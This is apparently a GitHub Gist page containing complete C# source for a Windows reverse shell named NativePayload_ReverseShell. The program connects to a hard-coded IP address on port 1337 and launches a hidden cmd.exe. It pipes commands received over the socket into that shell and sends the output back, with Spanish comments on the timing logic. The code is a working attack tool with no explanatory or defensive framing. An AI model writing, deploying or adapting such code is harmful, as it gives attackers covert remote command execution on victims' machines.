Created
November 29, 2019 21:25
-
-
Save s0d0ma/b651da829802dce2b59608e551ec4a64 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Text; | |
using System.Net.Sockets; | |
using System.Threading; | |
using System.IO; | |
using System.Diagnostics; | |
namespace NativePayload_ReverseShell | |
{ | |
public class salida | |
{ | |
public string outString; | |
public DateTime modifiTime; | |
public salida() | |
{ | |
outString = string.Empty; | |
modifiTime = DateTime.Now; | |
} | |
} | |
public class Program | |
{ | |
static StreamWriter streamWriter; | |
static salida output; | |
private static System.Timers.Timer timer; | |
public static void Main(string[] args) | |
{ | |
output = new salida(); | |
timer = new System.Timers.Timer(); | |
timer.Interval = 500; | |
timer.Elapsed += OnTimedEvent; | |
timer.AutoReset = true; | |
timer.Enabled = true; | |
timer.Start(); | |
using (TcpClient client = new TcpClient("10.31.3.249", 1337)) | |
{ | |
using (Stream stream = client.GetStream()) | |
{ | |
using (StreamReader rdr = new StreamReader(stream)) | |
{ | |
streamWriter = new StreamWriter(stream); | |
StringBuilder strInput = new StringBuilder(); | |
Process p = new Process(); | |
p.StartInfo.FileName = "cmd.exe"; | |
p.StartInfo.CreateNoWindow = true; | |
p.StartInfo.UseShellExecute = false; | |
p.StartInfo.RedirectStandardOutput = true; | |
p.StartInfo.RedirectStandardInput = true; | |
p.StartInfo.RedirectStandardError = true; | |
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); | |
p.Start(); | |
p.BeginOutputReadLine(); | |
while (true) | |
{ | |
strInput.Append(rdr.ReadLine()); | |
p.StandardInput.WriteLine(strInput); | |
strInput.Remove(0, strInput.Length); | |
} | |
} | |
} | |
} | |
} | |
static void OnTimedEvent(Object source, System.Timers.ElapsedEventArgs e) | |
{ | |
StringBuilder strOutput = new StringBuilder(); | |
strOutput.Append(output.outString); | |
// preguntar si la hora actual es mayor que TiempoTrans | |
if ((DateTime.Now - output.modifiTime).TotalSeconds > 0.5) | |
{ | |
// enviar datos | |
strOutput.Append(" <data_of_end>"); | |
streamWriter.WriteLine(strOutput); | |
streamWriter.Flush(); | |
// setear datos en la clase | |
output = new salida(); | |
timer.Stop(); | |
} | |
} | |
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) | |
{ | |
StringBuilder strOutput = new StringBuilder(); | |
timer.Start(); | |
if (!String.IsNullOrEmpty(outLine.Data)) | |
{ | |
try | |
{ | |
output.outString += "\r\n" + outLine.Data; | |
output.modifiTime = DateTime.Now; | |
} | |
catch{ } | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment